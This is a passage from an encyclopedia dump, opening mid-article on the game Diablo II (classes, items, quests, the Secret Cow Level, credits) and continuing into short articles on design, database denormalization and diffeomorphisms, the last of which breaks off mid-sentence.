The Sorceress can cast spells From the [[Heat|Cold]], [[Lightning]], and [[Fire]] skill trees.

====Sorceress history &amp; strategy in Classic DII====
Prior to the expansion pack, the sorceress was fairly weak. Her spells were lacking in damage, due to the fact that once they were at maximum skill level, not much else could be done to increase their damage. Most sorceress builds had serious mana issues, prompting them to maximize ''Warmth'' to increase their mana regeneration rate, which took valuable skill points away from their direct damage skills. Their one saving grace was the spell ''Static Field'', which causes 25% of the enemy's hit points in damage to all enemies within its radius and was considered overpowered by even sorceress players themselves.

At first, most sorceress builds revolved around getting as many skill level bonus items as possible to increase damage. This was not an effective option, though, and soon the attention shifted to ''faster cast rate'' items. The &quot;tweaker&quot; sorceress build, using as many ''FCR'' items as possible, could cast three or more spells per second, backed by high-level ''Warmth'' and a large mana pool. The most common build repeatedly cast ''Static Field'' to quickly reduce the health of nearby enemies to a sliver, then used the ''Frozen Orb'' spell, which spins out a globe that showers the area with ice shards, to deliver the death blow. Many looked down upon this &quot;strategy&quot; and the players who used it.

Patch 1.07 and the expansion changed sorceress gameplay immensely, due to the newly implemented skill timers and reduced mana costs on the more expensive spells. Focusing on ''faster cast rate'' equipment to cast spells as fast as possible was no longer feasible, and the players started to gravitate towards ''+to skills'' items to increase their spell damage instead. For more details, see [[Diablo II: Lord of Destruction]]. 

After synergies were introduced, some Fire and Lightning sorceresses aim to get 200% faster cast rate. Since the main fire and lightning spells do not have a delay timer, it allows them to cast their spells at an incredible rate, in excess of 3 times a second, while teleporting out of danger at amazing speeds.

Sorceress are used extensively for 'Mfing', or Magic finding. Magic finding involves using equipment with special mods to increase the chance that random item drops will be top level Rare and Unique equipment. Magic find equipment generally doesn't have the best attributes (apart from the magic-find %), which is fine for the Sorceress which teleports out of harm's way quickly and attacks from range. 

The Sorceress' ''teleport'' is used extensively for getting to a boss quickly. They are used by parties as a location finder, such as waypoints, boss lairs, etc.

===Necromancer===
[[Image:Art-necromancer.jpg|thumb|Necromancer]]
The [[necromancer]] is a magician like the sorceress, but in a different way. Whereas the sorceress relies on elemental damage, the necromancer is more subtle. He does possess direct damage in the form of poison and bone-based spells, but his most specialized abilities are curses and summons. His curses are similar to a paladin's enemy-affecting auras, but they are more powerful and limited in duration, range, and effect. Also rather than being cast on the character, they are cast on a limited number of enemies. His summoning abilities allow the necromancer to raise skeletons, a variety of golems, and even former enemies.

In party-oriented play, some of the most powerful skills affect the monster AI. For example, the curse &quot;Attract&quot; causes enemies near the target creature to attack it. Curses such as &quot;Terror&quot; cause groups of creatures to flee, allowing Necromancers to herd and manage the flow of hostile creatures attacking the party.

The Necromancer can cast spells From the [[Summon]]ing, [[Poison]] &amp; [[Bone]], and [[Curse]]s skill trees.

====Necromancer history &amp; strategy in Classic DII====
The necromancer has always been an unbalanced character, due to its reliance on corpses and percentage damage effects. Prior to 1.03, the ''Corpse Explosion'' spell was the best skill in the game. When one monster went down, all one had to do was cast ''Amplify Damage'' on the pack and blow up the corpse, killing all other monsters in one blast. The radius of ''Corpse Explosion'' was reduced in 1.03, encouraging necromancers to look at other skill options. ''Revive'', which raises a dead monster to fight for you, and ''Iron Maiden'', a damage-reflecting curse, were a powerful combo similar to the ''Conversion + Thorns'' paladin build, and the life stealing ''Blood Golem'' interacted with ''Iron Maiden'', causing it to gain life when it was attacked and rendering it essentially immune to normal attacks. 

The arrival of the expansion pack heralded a dark age for the necromancer, and while the class is very powerful in the later patches, this power boost went mainly towards one specific build, the ''Skelliemancer'' Or &quot;Summoner&quot;. For more details, see [[Diablo II: Lord of Destruction]].

Players today generally find the ''Bonemancer'' to be the easiest build. ''Bone Wall'' and ''Bone Prison'' proved useful for getting out of hairy spots and trapping unaware players in PvP. However, the element of a ''Bonemancer'' that makes playing fun is the penetrating element of ''Bone spear'' as well as the homing ability of ''Bone Spirit'', both of which can do considerable damage.

''Skelliemancers'' or &quot;Summoners&quot; can be enjoyable to play due to the character being able to control an army of minions. However, the fun element of these Necromancers is watered down when hard bosses are encountered, such as the Council in Act III that can destroy skeletons and golems fairly easily. To prevent one's self from being the commander of a heap of bones, ''Skelliemancers'' or &quot;Summoners&quot; have to make use of the Curse tree. Generally, ''Amplify Damage'' and ''Decrepify'' are most used. Using a ''Skelliemancer'' or &quot;Summoner&quot; can get extremely frustrating in certain areas: the close quarters of the Maggot Lair in Act II makes minions fall behind fairly quickly; the only way to counter this is to use lots of Skeleton-mages and moving slowly. Also, make extensive use of golems as well as ''Skeleton Mastery''; being commander of a couple elite skeletons is better than a lot of weak ones. Theses types of Necros arent as common as the &quot;Bonemancers&quot;

During the 1.10 patch the strongest of the necromancers would be &quot;Bonemancers&quot;, which were a common build that utilized Bonespear and Bonespirit as its main attack while adding 0 points to the synergy known as bone prison. This was due to an exploit that caused the player to have level 33 bone prison synergy while having the boots ''Marrowwalk'' equipped on your character. After the release of the 1.11 patch this build was extremely hindered, as the items would no longer give you the synergy from the charges. However, Bonemacers are still one of the best players in PvP.

====Priests of Rathma====
In Diablo 2, the Priests of Rathma are a segregated group of magi that study the concept of mortality. Living deep underground, these magi have learned how to raise the undead to fight for them. Through their wisdom, these &quot;Necromancers&quot; have learned not to question the threshold of mortality, but to accept it as a part of life. The Necromancer's skill tree is based around summoning creatures and cursing the minions of the undead. This character class sports expertise in wands and daggers.

==New Game Concepts==
There are several new game concepts introduced in ''Diablo II'' absent in its predecessor.

===Socketed Items===
While ''Diablo'' provided for almost no item customization, ''Diablo II'' improves in this area considerably.  Some weapons can be socketed with gems that convey additional abilities. In ''Diablo II: Lord of Destruction'', runes are introduced to further improve in this area, allowing players to create pseudo-unique items by arranging the runes to form &quot;runewords&quot;, usually with impressive benefits.

Alongside of gems and runes are the infamous ''jewels'', which could create massively powerful items.  While all gems of a certain type would do the same thing in any item, (for example, putting a ruby into a weapon always grants fire damage) jewels granted randomly-spawned enchantments, sometimes as many as 6 effects to a single slot. People were known to spend hours on end hunting for perfectly maximized jewels, until several new runewords appeared that made that whole process semi-obsolete.

===Rare Items===
These are more rare than the regular magic items, and can contain more magic modifiers but are not necessarily better. Rare item names are displayed in yellow text.

Prior to the expansion, rares were highly desirable due to its many modifiers. In the expansion, ''[[Blizzard North]]'' reduced the chance of a good rare drop.

===Set Items===
[[Set (video game)|Set items]] all form part of a small collection, or set. When some or all of the items in a certain collection are equipped by a certain character they become more powerful. For example, a character wearing all the items in &quot;Milabrega's Set&quot;, will be rewarded with bonuses in addition to those provided by each of the items . These bonuses are not available with only one item of a set or a variety of different sets; i.e. the whole of the set is greater than the sum the bonuses of each individual item.

With the ''Diablo II: Lord of Destruction'' expansion, there are a total of 15 normal item sets and 15 exceptional/elite item sets. Each set contains from 2 to 6 items.

===The Horadric Cube===
One interesting new component is the &quot;Horadric Cube&quot;. This is an in-game artifact, attained in Act II, that can [http://www.battle.net/diablo2exp/items/cube.shtml transmute items] into other items. For example, 3 partial rejuvenation potions may be combined to produce a full rejuvenation potion.  With Diablo II: Lord of Destruction, the Horadric Cube can endow items with random properties not found on items dropped by monsters.

The Cube occupies four units of inventory space in a 2×2 configuration, but it can to hold 12 units of items in a space measuring three units wide by four units tall. As such, it behaves much like a [[bag of holding]], increasing carrying capacity.

===Gems, Jewels, Runes===
'''GEMS:'''
Gems vary in value, ranging from 'Chipped' to 'Perfect', with the gem's attributes gaining in power as its value increases. You can upgrade gems by placing three identical gems into the Horadric cube, then transmuting them to get one of the next level. 

The following values are for the '''perfect''' forms of the gems:

'''Sapphires:'''
*Weapons: 1-40 Cold damage (slows enemies)
*Helms/Armor: 38 to mana
*Shields: 40% cold resist

'''Rubies:'''
*Weapons: 1-40 Fire damage
*Helms/Armor: 38 to life
*Shields: 40% fire resist

'''Emeralds:'''
*Weapons: 100 poison damage over 7 seconds
*Helms/Armor: 10 to dexterity
*Shields: 40% poison resist

'''Topazes:'''
*Weapons: 1-40 Lightning damage
*Helms/Armor: 24% to magic find
*Shields: 40% lightning resist

'''Amethysts:'''
*Weapons: 150 to attack rating
*Helms/Armor: 10 to strength
*Sheields: 40 to defense

'''Diamonds:'''
*Weapons: 68% increased damage to undead
*Helms/Armor: +100 to attack rating
*Shields: 19 to all resistences

'''Skulls:'''
*Weapons: 4% life leech, 3% mana leech
*Helms/Armor: Regenerate mana 19%, replenish life +5
*Shields: Attacker takes damage of 20

'''Jewels'''
Jewels vary in their attributes, and must be identified with scrolls of identify. Found only in LoD.

'''Runes'''
Runes are found only in LoD. Their attributes can range anywhere from '+75 poison damage over 2 seconds' to 'Knockback' in weapons. Again, the attributes change accordingly to each rune as well as where it is socketed. It is also possible to combine rune combinations into socketable items to create powerful items.

The runes are: El, Eld, Tir, Nef, Eth, Ith, Tal, Ral, Ort, Thul, Amn, Sol, Shael, Dol, Hel, Io, Lum, Ko, Fal, Lem, Pul, Um, Mal, Ist, Gul, Vex, Ohm, Lo, Sur, Ber, Jah, Cham, and Zod.

'''Crafted Items'''
Specific combinations of equipment, a jewel (any), various runes, and perfect gems also allow the creation of crafted items. [http://www.battle.net/diablo2exp/items/crafteditems.shtml]

===Hirelings (Mercenaries)===
To be able to hire a mercenary in Act I, players must have reached level 8 or kill Blood Raven after receiving the quest from 'Kashya' in the Rogue Encampment. This quest will yield a free Act I mercenary, unless the player already has a hireling. 

''Diablo II'' allows the player to hire mercenaries in the towns of Act I, II, III and V.  Different mercenaries are available in each encampment. In Act I, a Rogue hireling (as in the original ''Diablo'') is available.  In Act II, a spear-wielding mercenary is available. In the Act III, one of three elemental mages can be hired. There are no mercenaries in Act IV, but in Act V you can hire a barbarian with a sword.  

In the original ''Diablo II'', mercenaries could not be resurrected and did not follow the character from act to act.  In &quot;Diablo II: Lord of Destruction&quot;, hirelings persist for as long as they are wanted, and they can be resurrected for a fee that varies with their level (Tyrael will do this in Act IV). They can be given equipment, healed, and also become stronger with experience. Moreover, there were many improvements to hirelings in general to make them more viable. For example, the second act hirelings –– previously notorious for dying quickly –– now have jab and [[Diablo_II#Paladin|auras]]. In addition, the fifth act offers hireable barbarians that can use Barbarian-specific gear, although they can only use the skills Stun and Bash from the Barbarian's skill tree.

==The Pandemonium Quest== 
Added in the 1.11 patch for Diablo II released on [[August 1]], [[2005]], the Pandemonium Quest is a late-game Battle.net-only quest possibly intended to break the monotony of never-ending Baal runs on Hell difficulty, which is where most play took place in 1.10. When killing, in Hell difficulty, the Countess in the bottom of the Tower in the Black Marsh of Act 1, The Summoner in the Arcane Sanctuary of Act 2, and Nihlathak in the Halls of Vaught in Act 5, there is a chance (approximately 1 in 34) that they will drop a &quot;Key&quot;; either the Key of Terror, the Key of Hate, or the Key of Destruction.

Combining all three keys in the Horadric Cube while in the act 5 town (Hell difficulty) will open one of three portals where the player must fight one of three &quot;Mini-Übers&quot;, Über Izual, Über Duriel or Lilith (Über Andariel). After killing a Mini-Über it drops a body part: Izual drops Mephisto's Brain, Duriel drops Baal's Eye, and Lilith drops Diablo's Horn.

The body parts must be combined with the Horadric Cube while standing in the Act 5 town (again on Hell difficulty). This opens a portal to &quot;Über Tristram&quot;, where there are more powerful versions of the three Prime Evils ([[Mephisto (Diablo)|Mephisto]], Diablo, and Baal). When all three are dead, the last one killed drops a unique large charm, called the Hellfire Torch.  This charm grants +3 to skills for a specific character class, and provides other nice bonuses. In addition, a Standard of Heroes is dropped for each player in the level. This item doesn't actually do anything; it may have been put in confuse a [[Pickit]] Hack, or to prevent greedy players from grabing the Torch immediately. It has a level 90 requirement. At one point it was believed to prevent the wearer from losing experience points when they die, but that was later disproven.
==Online Play==
{{mainarticle|[[Diablo II on Battle.net]]}}

==Changes from Diablo I==
Many gameplay features were changed from the first ''[[Diablo]]'', including:
*Removal of spell books and ability to learn spells, replaced by skills tree, an innovation from designer Hedlund that has become part of the language of the genre.
*Removal of many potions, especially skill increase potions
*Removal of almost all spell scrolls, leaving only identify and town portal scrolls
*Removal of 'save anywhere' feature, monsters and ground items reset after saving
*Players now respawn after dying, but with penalties
*When a character dies, all items being worn that will not fit into that characters inventory at the time of death, is stored in a body. Only the owner of the body can reclaim the items stored in the body.
*More types of items and new item slots, such as belts
*The waypoint system to teleport between explored levels and acts
*Overlapping quests were removed, now everyone receives the same quests
*Quest rewards are now randomized, no more set rewards
*Items now cannot be destroyed by losing all durability
*More types of random items, with the prefix-and-suffix system of ''Diablo'' extended to groups of attributes in the case of rare items.
*Games can now by replayed after seeing the ending
*Ability to use &quot;Alt&quot; key to list items on ground by marking them with text above them
*Monsters now respawn after saving
*Inclusion of running and stamina system
*Monsters can now be attacked as long as the mouse buttons are held
*Bows and missile weapons now require arrows to fire
*Increases in the average amount of monster, player and item attributes
*Simplified, icon based store system, replacing the text based system
*Stashes in towns to store items, as opposed to leaving items in town's grounds
*Inclusion of monster health and experience indicating meters
*Although Magical damage still exists, it can no longer be resisted with the use of items. It was, somehow, replaced by Cold damage and Poison damage, however several necromancer &quot;bone&quot; skills, paladin and barbarian skills do use Magical attacks.
*In the multi-player version you cannot be randomly &quot;PK&quot;ed (Player Killed) by another user without warning. If a user turns hostile toward you, or makes him/herself able to attack you instead of enemies, they MUST be in town and you will be made aware. Players also cannot go hostile/duel with other players below level 9.
*Players now have a specified trading system, instead of just dropping items onto the ground for others.
*Items left on the ground disappear after around 10 minutes, even if a character remains near them.

==Easter Eggs==
Many of the people, items and places in Diablo II are named after Blizzard employees and their loved ones. 

Examples of item names that are [[anagram]]s of developer names:
* Nokozan Relic = Karin Colenzo
* (The) Mahim-Oak Curio = Michio Okamura
* Bverrit Keep = Peter Brevik
* Rusthandle = (Mark) Sutherland
* Rixot’s Keen = Erik Sexton
* Skewer (of) Krintiz = Kris Renkewitz

Examples of monster names taken from the development team:
* Colenzo the Annihilator = Karin Colenzo
* Lord de Seis = Rick Seis
* Shenk the Overseer = Phil Shenk
* Sexton = Act III monster

Examples of item names taken from the developer team:
* Civerb's set = surnames of [[David Brevik]] and [[Peter Brevik]], spelled backwards (and replacing the 'k' with a 'c')
* Schaefer's Hammer = Erich/Max Schaefer

Examples of locations taken from development team:
* The Halls of Vaught = Fredrick Vaught

Additionally, other items are references to movies or books. A good example here is a small dagger, or ''Dirk'', called ''The Diggler'', which is based on the main character of the movie [[Boogie Nights]] called [[Dirk Diggler]].

===The Secret Cow Level===
{{Spoiler}}

[[Image:Diablo_2,_Secret_Cow_Level.jpg|thumb|500|right|Diablo 2 screenshot of the Secret Cow Level]]

The &quot;Secret Cow Level&quot; is the result of a running joke from the original ''Diablo'' that spawned from an internet rumor about a cow which, if you clicked on it a certain number of times, was reported to open a portal to a secret level.  The rumor was a hoax, but the legend was born, and player after player asked Blizzard about how to access the level.

In ''[[Diablo: Hellfire]]'', the only official expansion to the original ''Diablo'', it was possible to change a parameter in a specific .ini file so that the farmer who gives out the &quot;rune bomb&quot; quest was dressed in a cow suit, with appropriate new dialogue (&quot;Moo.&quot;  &quot;I said Moo!&quot;). This added fuel to the fire. To quell the rumor, Blizzard included a cheat (that automatically won the game) in [[StarCraft]] that read &quot;There is no cow level&quot; (implying no secret cow levels in Diablo). 

However, there really ''was'' a cow level in the sequel, ''Diablo II''. To access the level, one must kill Diablo (or, in ''Lord of Destruction'', kill Baal), return to Rogue Encampment in Act I within the same difficulty level, and then combine Wirt's Leg with a Tome of Town Portal in the Horadric Cube.  This will open a portal to the secret level.  

The cow level granted so many experience points and cows dropped so many unique and rare items, that soon Battle.net was filled with endless &quot;cow&quot; games, especially because it was very easy for characters such as Amazons, Barbarians and particulary Sorceresses to complete it quickly.

This changed, somewhat, with the release of patch 1.10, halving the cows' experience rate and item drops. Characters were previously able to stand near the portal to a Cow Level from a very low level and rocket up in levels very quickly as cows were killed. However, Blizzard has now programmed the game to only give experience to characters near to where monsters are killed, and the Mlvl(monster level) and Clvl(character level) must now be closer together or a very minimal amount of experience is awarded per kill. 

It is important to note that the character who opened the portal to the secret cow level must be careful not to kill The Cow King. Doing so will result in that character being unable to open future secret cow levels of that difficulty. A loophole in this event was for players to open the cow level with one character, and then exit the game and enter with another character to kill the cows. Killing The Cow King in this fashion would not result in the original player being exempt from opening portals to the cow level. 

The most popular way to spot The Cow King in a game is to look out for a cow that creates 'charged bolts' (Lightning Enchanted) when attacked. A Lightning enchanted monster in the secret cow level is usually The Cow King.

A small reference to the cow level has been spotted in ''[[World of Warcraft]]'', in the form of a loading screen tip saying &quot;there is no cow level&quot;. This may or may not be a reply to WoW players (non-seriously) asking for one. Also, there exists a special item set called &quot;Cow King's Leathers&quot;, consisting of studded leather, a war hat, and heavy boots, that can only be found on the Secret Cow Level.

==Diablo III Rumors==
Rumors of a sequel to Diablo II have been, for the most part, entirely insubstantial. However, in early 2006, Blizzard posted a job opportunity on its website, stating: &quot;The team behind Diablo I and II is looking for a talented, motivated, and experienced Art Director to help lead our art team in developing beautiful, cohesive game worlds for an unannounced PC Project and future projects.&quot; [http://www.blizzard.com/jobopp/]. Listings for various game development positions within the Diablo team were simultaneously listed, as well. Among fans, this has resulted in elevated hopes for a Diablo III release. 

==Game Credits==
Project and Design Leads: [[David Brevik]], [[Erich Schaefer]], [[Max Schaefer]]

Executive Producer: [[Michael Morhaime]]

Senior Producer: [[Matthew Householder]], [[Bill Roper (programmer)|Bill Roper]]

Producer: [[Mark E. Kern]], Kenneth Williams

Technical Producer: [[Michael Huang]]

Design: [[Stieg Hedlund]]

Lead Programmer: [[Rick Seis]]

Programmers: Theodore Bisson, [[Peter Brevik]], Doron Gartner, Peter Hu, Peter Kemmer, Doug McCreary, Jesse McReynolds, Jon Morin, Divo Palinkas, Jason Regier, [[Michael Scandizzo]], Jonathan Stone, Tyler Thompson, Steven Woo

Lead Character Artist: Phil Shenk

Character Artists: John Kubasco, Cheeming Boey, Evan Carroll, [[Michael Dashow]], Ben Haas, Kelly Johnson, [[Michio Okamura]], [[Kris Renkewitz]], Anthony Rivero, Christopher Root, Eric Sexton, Robert Steele, Patrick Tougas

Background Artists: Alan Ackerman, Ben Boos, David Glenn, Alex Munn, Mark Sutherland, Marc Tattersall, Fredrick Vaught

Music: [[Matt Uelmen]]

Sound Design: Scott Peterson, Jonathan Stone, [[Matt Uelmen]]

Additional Sound Effects:  Joseph Lawrence [http://www.futurityfx.com Futurity]

Level Design: Derek McAuley, Stefan Scandizzo, Grant Wilson

Additional Game Design: [[Eric Sexton]]

Story and Dialog: Kurt Beaver, [[Stieg Hedlund]], Matthew Householder, Phil Shenk, Robert Vieira

Story Concept and Script Editor: [[Chris Metzen]]

Production Manager: Karin Colenzo

==See also==
* [[Diablospeak]]
* [[Diablo II: Lord of Destruction]]

== External links ==
* [http://www.blizzard.com/diablo2/ Official Site]
* [http://www.battle.net/diablo2exp/ The Arreat Summit], official Strategy Guide
* [http://diabloii.net/ Diablo II.net] - Database, guides and player forums
* [http://www.mobygames.com/game/windows/diablo-ii Diablo II at MobyGames]
* [http://www.gamespot.com/pages/video_player/popup.php?sid=6131665&amp;pid= Video of the Secret Cow Level] from [[Gamespot]]
 
{{Blizzard}}


[[Category:2000 computer and video games]]
[[Category:Apple Macintosh games]]
[[Category:Diablo games]]
[[Category:Windows games]]

[[bg:Diablo II]]
[[de:Diablo (Computerspiel)]]
[[es:Diablo II]]
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[[ja:ディアブロ (ゲーム)]]
[[lt:Diablo]]
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[[pl:Diablo 2]]
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[[zh:暗黑破坏神]]</text>
    </revision>
  </page>
  <page>
    <title>Diesel Engine</title>
    <id>8559</id>
    <revision>
      <id>15906539</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Diesel engine]]
</text>
    </revision>
  </page>
  <page>
    <title>Design</title>
    <id>8560</id>
    <revision>
      <id>41884984</id>
      <timestamp>2006-03-02T10:14:59Z</timestamp>
      <contributor>
        <username>Nigel Cross</username>
        <id>155939</id>
      </contributor>
      <minor />
      <comment>/* See also */ rm non-useful link</comment>
      <text xml:space="preserve">Usually considered in the context of the [[applied art]]s, [[engineering]], [[architecture]], and other such [[creativity|creative]] endeavours, &quot;'''design'''&quot; is used as both a [[noun]] and a [[verb]]. &quot;Design&quot; as a verb refers to the process of originating and developing a plan for a new object (machine, building, product, etc.). As a noun, &quot;design&quot; is used both for the final plan or proposal (a drawing, model, or other description), or the result of implementing that plan or proposal (the object produced).

Designing normally requires considering [[aesthetic]], [[functional]], and many other aspects of an object, which usually requires considerable [[research]], [[thought]], [[model (physical)|modelling]], iterative adjustment, and re-design.

Design as a [[process]] can take many forms depending on the object being designed and the individual or individuals participating.

In [[philosophy]], the abstract noun &quot;design&quot; refers to pattern, or to [[purpose]]/purposefulness (or [[teleology]]). Design is thus contrasted with purposelessness, [[randomness]], or lack of [[complexity]].

==See also==
* [[Architecture]]
* [[Automotive design]]
* [[Ceramic and Glass design]]
* [[Combinatorial design]] theory concerns the existence and construction of set systems that have specified numerical properties
* [[Communication design]]
* [[Computer-aided design]] covers [[Technical drawing|draft]]ing and other forms of modelling.
* [[Critical design]]
* [[Design classic]]
* [[Design management]]
* [[Design of experiments]]
* [[Design research]] seeks to understand design in all its many fields.
* [[Environmental design]] and [[Green design]]
* [[Error-tolerant design]]
* [[Fault tolerant|Fault tolerant design]]
* [[Fashion design]]
* [[Game design]]
* [[Garden design]]
* [[Graphic design]]
* [[Inclusive design]]
* [[Industrial design]]
* [[Information design]]
* [[Instructional design]]
* [[Intelligent design]] is a [[Creation (theology)|Creation]]ism theory.
* [[Interaction design]] examines the role of embedded behaviour in human environments.
* [[Interior design]]
* [[Landscape architecture]]
* [[New product development]]
* [[Packaging design]]
* [[Participatory design]] actively involves the users in the design process.
* [[Reliable system design]]
* [[Service design]]
* [[Software development]]
* [[System design]]
* [[technical theatre | Theatrical design]]
* [[Universal design]]
* [[Web design]]
* [[Wicked problems]] (includes [[Economics|economic]], [[Natural environment|environmental]], and [[Politics|political]] issues)

[[Category:Design| ]]

[[bs:Dizajn]]
[[ca:Disseny]]
[[da:Design]]
[[de:Design]]
[[es:Diseño]]
[[eo:Dezajno]]
[[fr:Design]]
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[[he:עיצוב]]
[[ka:დიზაინი]]
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[[ja:デザイン]]
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[[pt:Design]]
[[ru:Дизайн]]
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[[zh:設計]]</text>
    </revision>
  </page>
  <page>
    <title>Denormalization</title>
    <id>8561</id>
    <revision>
      <id>31582273</id>
      <timestamp>2005-12-16T06:48:54Z</timestamp>
      <contributor>
        <username>TechPurism</username>
        <id>691943</id>
      </contributor>
      <text xml:space="preserve">'''Denormalization''' is the process of attempting to optimize the performance of a database by adding redundant data.  It is sometimes necessary because current [[DBMS]]s implement the [[relational model]] poorly.  A true relational DBMS would allow for a fully normalized database at the logical level, while providing physical storage of data that is tuned for high performance.

A normalized design will often store different but related pieces of information in separate logical tables (called relations).  If these relations are stored physically as separate disk files, completing a database query that draws information from several relations (a [[JOIN|''join operation'']]) can be slow.  If many relations are joined, it may be prohibitively slow. There are two strategies for dealing with this. The preferred method is to keep the logical design normalized, but allow the DBMS to store additional redundant information on disk to optimize query response. In this case it is the DBMS software's responsibility to ensure that any redundant copies are kept consistent.  This method is often implemented in [[SQL]] as indexed views.  A view represents information in a format convenient for querying, and the index ensures that queries against the view are optimized.

The more usual approach is to denormalize the logical data design.  With care this can achieve a similar improvement in query response, but at a cost&amp;mdash;it is now the database designer's responsibility to ensure that the denormalized database does not become inconsistent.  This is done by creating rules in the database called ''constraints'', that specify how the redundant copies of information must be kept synchronized.  It is the increase in logical complexity of the database design and the added complexity of the additional constraints that make this approach hazardous. Moreover, due to constraint evaluation overhead, a denormalized database may actually offer '''worse''' performance than its functionally equivalent normalized counterpart.

Denormalization should only take place after a satisfactory level of normalization has taken place and that any required constraints and/or rules have been created to deal with the inherent anomalies in the design. For example, all the relations are in Third Normal Form and any relations with join and multi-valued dependencies are handled appropriately.

Examples of a denormalization techniques include:
* storing the count of the &quot;many&quot; objects in a one-to-many relationship as an attribute of the &quot;one&quot; relation
* adding attributes to a relation from another relation with which it will be joined
* star schemas which are also known as fact-dimension models and have been extended to snowflake schemas
* pre-built summarization or OLAP cubes
* materialized views

==See also==
* [[Database normalization]]

[[Category:Data modeling]]</text>
    </revision>
  </page>
  <page>
    <title>Differential topology</title>
    <id>8562</id>
    <revision>
      <id>15906542</id>
      <timestamp>2003-12-13T14:03:15Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Differential geometry and topology]]</text>
    </revision>
  </page>
  <page>
    <title>Diffeomorphism</title>
    <id>8564</id>
    <revision>
      <id>40244069</id>
      <timestamp>2006-02-19T05:05:14Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/70.107.56.62|70.107.56.62]] ([[User talk:70.107.56.62|talk]]) to last version by Connelly</comment>
      <text xml:space="preserve">In [[mathematics]], a '''diffeomorphism''' is a kind of [[isomorphism]] of [[smooth manifold]]s. It is an [[invertible function]] that maps one [[manifold#Differentiable_manifolds|differentiable manifold]] to another, such that both the function and its inverse are [[smooth function|smooth]].

Formally, given two manifolds ''M'' and ''N'', a [[bijective map]] &lt;math&gt;f&lt;/math&gt; from ''M'' to ''N'' is called a '''diffeomorphism''' if both &lt;math&gt;f:M\to N&lt;/math&gt; and its inverse &lt;math&gt;f^{-1}:N\to M&lt;/math&gt; are smooth (i.e., infinitely differentiable). 

Two manifolds ''M'' and ''N'' are '''diffeomorphic''' (symbol being usually &lt;math&gt;\simeq&lt;/math&gt;) if there is a diffeomorphism  &lt;math&gt;f&lt;/math&gt; from ''M'' to ''N''. For example 

:&lt;math&gt;\mathbb{R}/\mathbb{Z} \simeq S^1.&lt;/math&gt;

That is, the [[quotient group]] of the [[real numbers]] [[modulo]] the [[integers]] is again a smooth manifold, which is diffeomorphic to the [[sphere|1-sphere]], usually known as the circle.  The diffeomorphism is given by

:&lt;math&gt;x\mapsto e^{ix}.&lt;/math&gt;

This map provides not only a diffeomorphism, but also an [[isomorphism]] of [[Lie group]]s between the two spaces.

==Local description==

'''Model example''': if &lt;math&gt;U&lt;/math&gt; and &lt;math&gt;V&lt;/math&gt; are two open subsets of &lt;math&gt;\mathbb{R}^n&lt;/math&gt;, a [[derivative|differentiable]] map &lt;math&gt;f&lt;/math&gt; from &lt;math&gt;U&lt;/math&gt; to &lt;math&gt;V&lt;/math&gt; is a '''diffeomorphism''' if 
# it is a [[bijection]],
# its [[pushforward|derivative]] &lt;math&gt;Df&lt;/math&gt; is invertible (as the matrix of all &lt;math&gt;\partial f_i/\partial x_j&lt;/math&gt;, &lt;math&gt;1 \leq i,j \leq n&lt;/math&gt;), which means the same as having non-zero [[Jacobian]] determinant.
Remarks:
* Condition 2 excludes diffeomorphisms going from [[dimension]] &lt;math&gt;n&lt;/math&gt; to a different dimension &lt;math&gt;k&lt;/math&gt; (the matrix of &lt;math&gt;df&lt;/math&gt; would not be square hence certainly not invertible).
* A differentiable bijection is ''not'' necessarily a diffeomorphism, e.g. &lt;math&gt;f(x)=x^3&lt;/math&gt; is not a diffeomorphism from &lt;math&gt;\mathbb{R}&lt;/math&gt; to itself because its derivative vanishes at 0.
* &lt;math&gt;f&lt;/math&gt; also happens to be a [[homeomorphism]].

Now, &lt;math&gt;f&lt;/math&gt; from ''M'' to ''N'' is called a '''diffeomorphism''' if in [[Manifold#Differentiable_manifolds|coordinates chart]]s it satisfies the definition above. 
More precisely, pick any cover of ''M'' by compatible [[Manifold#Differentiable_manifolds|coordinate chart]]s, and do the same for ''N''. Let &lt;math&gt;\phi&lt;/math&gt; and &lt;math&gt;\psi&lt;/math&gt; be charts on ''M'' and ''N'' respectively, with &lt;math&gt;U&lt;/math&gt; being the image of &lt;math&gt;\phi&lt;/math&gt; and &lt;math&gt;V&lt;/math&gt; the image of &lt;math&gt;\psi&lt;/math&gt;. Then the conditions says that the map &lt;math&gt;\psi f \phi^{-1}&lt;/math&gt; from &lt;math&gt;U&lt;/math&gt; to &lt;math&gt;V&lt;/math&gt; is a diffeomorphism as in the definition above (whenever it makes sense). One has to check that for every couple of charts &lt;math&gt;\phi&lt;/math&gt;, &lt;math&gt;\psi&lt;/math&gt; of two given [[Manifold#Differentiable_manifolds|atlases]], but once checked, it will be true for any other compatible chart. Again we see that dimensions have to agree.

==Diffeomorphism group==

The '''diffeomorphism group''' of a manifold is the group of all its self-diffeomorphisms. For dimension &amp;ge; 1 this is a large group (too big to be a [[Lie group]]). For a [[connected space|connected]] manifold ''M'' the diffeomorphisms act [[Group_action#Types_of_actions|transitive]]ly on ''M'': this is true [[locally]] because it is true in [[Euclidean space]] and then a topological argument shows that given any ''p'' and ''q'' there is a diffeomorphism taking ''p'' to ''q''. That is, all points of ''M'' in effect look the same, intrinsically. The same is true for [[finite]] configurations of points, so that the diffeomorphism group is ''k''- fold [[Group_action#Types_of_actions|multiply transitive]] for any integer ''k'' &amp;ge; 1, provided the dimension is at least two (it is not true for the case of the [[circle]] or [[real line]]).

==Homeomorphism and diffeomorphism==

It is easy to find a homeomorphism which is not a diffeomorphism, but it is more difficult to find a pair of [[homeomorphic]] manifolds that are not diffeomorphic. 
In dimensions 1, 2, 3, any pair of homeomorphic smooth manifolds are diffeomorphic. In dimension 4 or greater, examples of homeomorphic but not diffeomorphic pairs have been found.
The first such example was constructed by [[John Milnor]] in dimension 7, he constructed a smooth 7-dimensional manifold (called now [[Milnor's sphere]]) which is homeomorphic to the standard 7-sphere but not diffeomorphic to it.
There are in fact 28 oriented diffeomorphism classes of manifolds homeomorphic to the 7-sphere (each of them is a [[fiber bundle]] over the 4-sphere with fiber the [[3-sphere]]).

Much more extreme phenomena occur: in the early 1980s, a combination of
